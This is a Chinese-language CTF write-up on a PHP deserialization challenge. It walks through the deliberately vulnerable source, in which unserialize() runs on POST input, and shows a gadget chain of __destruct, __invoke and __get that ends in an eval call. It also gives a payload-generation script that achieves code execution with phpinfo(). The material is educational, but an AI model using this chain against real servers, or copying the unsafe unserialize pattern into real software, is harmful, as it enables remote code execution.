感谢群友,让我学习到了新知识点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file(__FILE__);
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}
class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}
}
class web
{
public $eva1;
public $interesting;
public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
if (isset($_POST['url']))
{
unserialize($_POST['url']);
}
?>

这道题的解法就是反序列化+代码执行或反序列化+命令执行
首先代码审计

syc类

1
2
3
4
5
6
7
8
9
10
class syc//类syc
{
public $cuit;//属性
public function __destruct()//魔术方法,销毁对象时触发
{
echo("action!<br>");
$function=$this->cuit;//属性cuit的值赋给function
return $function();//调用$function所引用的函数(或方法)并返回其结果。当接收的是lover的对象后便会自动调用invoke方法。
}
}

lover类

1
2
3
4
5
6
7
8
9
10
class lover
{
public $yxx;//属性
public $QW;//属性
public function __invoke()//魔术方法,当此类(lover)的对象作为方法被调用时自动调用。
{
echo("invoke!<br>");
return $this->yxx->QW;//返回当前对象yxx属性的QW属性(这里我疑惑:yxx属性哪里存在QW属性?后面才知道,这里的真是作用)
}
}

web类

1
2
3
4
5
6
7
8
9
10
11
class web
{
public $eva1;//属性
public $interesting;//属性
public function __get($var)//魔术方法,当访问不可访问属性时自动调用。
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);//$eval=eval;interesting='phpinfo',那么就是eval('phpinfo()')。这不就是代码执行吗,关键获取flag的点就在这里
}
}

综合分析

综上代码审计,我们可以先写出生成payload的代码,接着我会从这段代码分析为什么要这样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class syc
{
public $cuit;
}
class lover
{
public $yxx;
public $QW;
}
class web
{
public $eva1='eval';//代码执行
public $interesting='phpinfo()';//想要执行的代码
}
$syc1=new syc();//创建一个syc类的对象
$lover1=new lover();//创建一个lover类的对象
$web1=new web();//创建一个web类的对象
$lover1->yxx=$web1;//关键点:将web类的对象赋值给lover类的对象的属性(其实也就是传给对象)
$lover1->QW=$web1;//这里不用赋值应该也行
$syc1->cuit=$lover1;//将lover类的对象赋值给syc类的对象的属性
echo serialize($syc1);//赋完值后,将这串要传送的数据序列化
?>

注释(解释一个刚开始不懂的地方)

1
$lover1->yxx=$web1;

这里是为了触发web类的魔术方法get(),因为这样子赋值后,原来lover类的 return $this->yxx->QW;就会返回$web的QW属性,但此时不存在QW属性,便会自动调用get,我们便可以代码执行/命令执行实现getshell。